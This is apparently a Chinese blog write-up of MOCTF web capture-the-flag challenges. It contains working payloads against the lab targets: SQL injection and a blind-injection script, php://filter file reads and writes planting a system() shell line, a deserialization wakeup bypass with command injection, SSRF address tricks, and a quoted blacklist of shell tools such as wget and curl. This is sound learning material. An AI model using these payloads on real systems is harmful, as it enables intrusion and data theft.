moctf-web探索

题记:前天晚上突然想刷CTF,就找了上个星期刚刚重新开放Moctf平台,作为一只半只脚还没踏进大门的webdog,记录一下自己的web历程

image

0x01 一道水题

进入后,点击查看源码即可获得flag
view-source:http://119.23.73.3:5001/web1/。

0x02 还是水题

一道考察html标签属性的题目,修改disabled与maxlength属性

1
2
3
<input type="password" value="" disabled="disabled" name="password" maxlength="4">
=>
<input type="submit" value="提交">

0x03 访问限制

提示:只允许使用NAIVE浏览器访问!显然考察user-agent,于是修改user-agent发包,发现回显为:只有香港记者才能访问,于是又去修改Accept-Language,得到flag

1
2
User-Agent: NAIVE
Accept-Language: zh-HK,zh;q=0.9

插一个题外话,NAIVE浏览器让我想到了黑曜石浏览器,做个题目时,我条件反射地先去go0gle了一下NAIVE浏览器,看看有木有这个浏览器-.-,想试一下的朋友们可以点击

0x04 机器蛇

第一眼看到后,想到应该是考察js,然后就想F12看一下js代码大体逻辑,emmmm,看完没发现什么,直到把翻到最下面,才意识到自己思路错了。
提示<!–robots.txt–>,访问发现flagxxxx.php,再次访问,在注释中可以得到flag

0x05 PHP黑魔法

看到名字,应该就能菜刀是php弱类型。进入提示:似乎少点什么,查看源代码,抓包均无果,考虑源码泄漏,发现是index.php~源码泄漏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
view-source:http://119.23.73.3:5001/web5/index.php~
=>
<?php
$flag="moctf{**************}";
if (isset($_GET['a'])&&isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];
if($a==$b) {
echo "<center>Wrong Answer!</center>";
}
else {
if(md5($a)==md5($b)) {
echo "<center>".$flag."</center>";
echo "By:daoyuan";
}
else echo "<center>Wrong Answer!</center>";
}
}

payload: ?a=QNKCDZO&b=240610708

0x06 我想要钱

源码审计题目

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['money'])) {
$money=$_GET['money'];
if(strlen($money)<=4&&$money>time()&&!is_array($money)){
echo $flag;
}
else echo "Wrong Answer!";
}
else echo "Wrong Answer!";
?>

限制为:money长度小于5,并且数值很大,不是数组。payload: ?money=4e10

0x07 登录就对了

根据题目,是想让我们登录进去,首先是试弱口令,无果;再试万能密码,成功登录,flag在源代码中

1
payload:name = admin' or 1=1#&pass=1

0x08 文件包含

发现flfile=welcome.txt,于是尝试LFI
payload:http://119.23.73.3:5001/web8/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php
=>base64解码得到flag

0x09 暴跳的老板

抓包发现reponse里面有提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# reponse
HTTP/1.1 200 OK
Date: Fri, 02 Nov 2018 17:24:35 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Dear: MyBoss
Vary: Accept-Encoding
Content-Length: 137
Content-Type: text/html

于是携带参数请求
POST /web1/do.php HTTP/1.1
Host: 119.23.73.3:5006
Proxy-Connection: keep-alive
Content-Length: 22
Cache-Control: max-age=0
Origin: http://119.23.73.3:5006
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://119.23.73.3:5006/web1/post.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=hgcbrc4a6o6p6v14dpd8prvdj2

postText=1&Dear=MyBoss

0x10 Flag在哪?

进入点击get flag,回显是there is no flag! 果断抓包看一下,考察302重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
带有特征的过程:
GET /web7/flag.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./where_is_flag.php
=>
GET /web7/./where_is_flag.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./I_have_a_flag.php
=>
GET /web7/././I_have_a_flag.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./I_have_a_frog.php
=>
GET /web7/./././I_have_a_frog.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./no_flag.php
=>
GET /web7/././././no_flag.php HTTP/1.1

emmm,follow rediretion没有发现任何异常
唯一有价值的就是body中内容:

1
2
3
4
5
where is flag!
I have a flag
I have a frog!
ah~ guess where is flag!
There is no flag!

得知hint才知道,,这是一首歌曲:ppap,访问flagfrog.php得到答案

0x11 美味的饼干

登录admin,发现可以登录,抓包发现

1
2
3
4
5
Set-Cookie: login=ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D
解码为 user
于是再次编码admin
MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
得到flag

0x12 没时间解释了

进入后,发现url为 http://119.23.73.3:5006/web2/index2.php 。于是抓包,发现302重定向,得到提示:May be u need uploadsomething.php。访问上传页面,随便上传一个,

1
2
3
filename: admin
concet: admin
路径:http://119.23.73.3:5006/web2/uploads/550d7c7c2a0c1d0dc373959b7d403de1d6783582/admin

访问,显示too low,猜测应该是,上传文件会在一定的时间删除吗,并且路径不变。于是bp.intrude走一波。

1
2
3
4
5
6
7
8
9
10
11
GET /web2/uploadsomething.php?filename=admin&content=admin HTTP/1.1
Host: 119.23.73.3:5006
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

a=§1§

attack后 ,浏览器访问
http://119.23.73.3:5006/web2/uploads/550d7c7c2a0c1d0dc373959b7d403de1d6783582/admin 即可得到flag

0x13 死亡退出

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>

有include函数,首先想到文件包含,但是tmp.php不可控,只能执行tmp.php,可控的是temp.php的内容,于是通过php危险函数file_put_contents()写命令,
c=bPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
&file=php://filter/write=convert.base64-decode/resource=tmp.php,即可拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
涉及到的两个知识点:
1、file_put_contents():
file_put_contents(file,data,mode,context)
data
要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。
如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。就是将context内容写到data中。
题目中:使用php://filter/write=convert.base64-decode/resource=tmp.php,tmp.php中写入内容,通过写入base64解码后的数据流实现,配合file_put_contents()使用进行写命令
另外附上p牛对这个经典问题的分析
https://www.leavesongs.com/PENETRATION/php-filter-magic.html


2、base64 编码
base64 解码表A-Z、a-z、0-9、+、/,其它的内容 base64 解码会将其过滤掉,比如<?;>与空格,就会自动过滤掉
因为题目中的 <?php exit;> => phpexit
base64 算法解码时是4个byte一组,所以该题目如果phpexit正常解码,不影响后面的一句话,就必须构造8个字符。在 <?php system('cat flag.php'); ?> base64编码的前面加一个字母即可

0x14 火眼金睛

这个题目意在靠脚本编写,做题时使用的非预期解,bp抓包后,在页面中,搜索moctf的个数,携带参数repeater,即可拿到flag
附上预期解脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import re
targeturl = "http://119.23.73.3:5001/web10"
r = requests.get(url=targeturl)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt = re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
ans = {
"answer":number
}
url2 = "http://119.23.73.3:5001/web10/work.php"
s = requests.post(url=url2,data=ans,cookies=r.cookies)
print s.content

0x15 UNSET

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
include($_GET['file']);
}
}

?>

分析逻辑:
需要执行include($_GET[‘file’])
=>
$_GET[‘file’]为flag.php,但是waf会过滤,那么为了完成这个目的,我们需要先绕过waf再读flag.php


根据代码逻辑可以发现
unset => waf检测 => 再次赋值
那么关键性代码:

1
2
3
4
5
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}

我们需要做的就是把$_GET的参数unset,过了waf再赋值,再利用文件包含读出flag.php的内容
过程:

1
2
3
4
5
6
7
8
9
10
11
12
1、
md5($_GET['flag'] ) == md5($_GET['daiker'])
=>
flag=QNKCDZO&daiker=s878926199a
2、
过waf
=>
以flag参数为例子
GET: ?flag=QNKCDZO =>array('flag' => 'QNKCDZO')
post: _GET[x]=QNKCDZO
先进行处理post参数
$$__R 是 $POST[_GET[x]] => array('_GET[x]' => 'QNKCDZO') => $__k 是 _GET[x] => $$__k 是 $_GET[x] 是 QNKCDZO,于是符合 $$__k == $__v,执行unset($_GET[x]),即$__GET[flag]被unset了。后来extract()再次赋值

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php HTTP/1.1
Host: 119.23.73.3:5101
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php

0x16 PUBG

http://120.78.57.208:6001/?LandIn=school 发现该处.bak源码泄漏,下载index.php与class.php

1
2
3
4
5
6
7
# index.php
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
}

可以发现是php反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# class.php
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
}

public function Get_air_drops($b)
{
$this->$b();
}

public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}else
{
system("php .//class//win.php");
}
die();
}

分析逻辑与过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
   目的:
__call()

过程:
唯一可控的为__destruct()
=> Get_air_drops($b)
=> $this->$b();刚好可以调用__call()

注意:
__wakeup()不能执行
$b为命令 => $bag
控制$bag即可
$bag又经过waf处理

做法:
绕过__wakeup(),读waf
绕过waf,rce

原理:
绕过__wakeup()
CVE-2016-7124反序列化漏洞,通过传入错误的值绕过

具体实现:
从源码中在class/下发现flag.php
O:7:"sheldon":2:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}
=>
O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}
=>
O:7:"sheldon":3:{s:3:"bag";s:13:"flag.|cat%20waf";s:6:"weapon";s:3:"AWM";}
$black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','head','tail','more','tac','rm','ls','tailf','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf');
=>
O:7:"sheldon":3:{s:3:"bag";s:20:"flag.|cat%20class/flag";s:6:"weapon";s:3:"AWM";}

个人提醒一下,/class/flag与class/flag不一样

这里做了一个反序列化的测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class sheldon{
public function __construct()
{
echo "__construct()";
echo "<br/>";
}
public function __wakeup()
{
echo "__wakeup()";
echo "<br/>";
}
public function __call($method,$parameters)
{
echo "__call()";
echo "<br/>";
}
public function __destruct()
{
echo "__destruct()";
echo "<br/>";
}
}
$a = new sheldon;
$sa = serialize($a);
echo $sa;
echo "<br/>";
$ua = unserialize($sa);
var_dump($ua);
echo "<br/>";
var_dump(unserialize('O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"M24";}'));
echo "<br/>";
$a->b();

输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
__construct() //new 调用的
O:7:"sheldon":2:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"M24";}
__wakeup() //unserialize($a)调用的
object(sheldon)#2 (2) { ["bag"]=> string(7) "nothing" ["weapon"]=> string(3) "M24" }
Notice: unserialize(): Unexpected end of serialized data in A:\tools\phpStudy\WWW\study1\pre.php on line 33
__destruct() //unserialize($a)调用的

Notice: unserialize(): Error at offset 64 of 65 bytes in A:\tools\phpStudy\WWW\study1\pre.php on line 33
bool(false)
__call() //$a->b()调用的
__destruct() //unserialize('O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"M24";}')调用的
__destruct() // 照应new

0x17 网站检测

hint: doker -p 10001 80
说明80端口映射到10001,url参数可以进行ssrf
测试发现,必须http://moctf.com,过滤'127',与点,flag.php使用url双编码

1
2
3
4
5
6
7
8
9
也考察url结构:方法//身份凭证@真是ip/路径
有几个payload
payload:url = http://www.moctf.com/0.0.0.0/%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30
另外几个可以把0.0.0.0 => 127.0.0.1
127.0.0.1
=> 8进制
017700000001
=> 16进制
0x7f000001 / 0x7f.1

0x18 简单注入

查看源代码发现注入点为 ?id
测试发现空格,/**/,and,or,–+等被禁用
使用异或盲注
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import string
import requests
chars = '!@$%^&*()_+=-|}{ :?><[];,./`~'
string = string.ascii_letters+string.digits+chars
rs = requests.session()
flag = ""
# 错误的payload
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(database())),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1)='{1}')^'1"
# 正确payload
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1))={1})^'1"
payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))={1})^'1"


for i in range(0, 500):

# for j in string:
for j in range(33, 127):
url = payload.format(str(i), str(j))
s = rs.get(url)
# print url
if 'Flag' in s.text:
flag = flag + chr(j)
print flag

得到flag,题外话,因为注入姿势不对,这个题目交flag,交了一天,emmmmmm,大佬们有兴趣可以试试脚本上错误payload,能感受到当时的纠结的心情-.-(其实我在掩盖自己菜的事实)。
记录一下错误原因:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select (mid('Aa',1,1)='A');
+---------------------+
| (mid('Aa',1,1)='A') |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)

mysql> select (mid('Aa',1,1)='a');
+---------------------+
| (mid('Aa',1,1)='a') |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)

0x19 后记

依然能感觉到自己有很多不足,需要学习的太多了,多练习,多看大佬们的技术文章,紧随大佬的步伐。感谢星神等几位表哥的指点。

-------------本文结束&感谢您的阅读-------------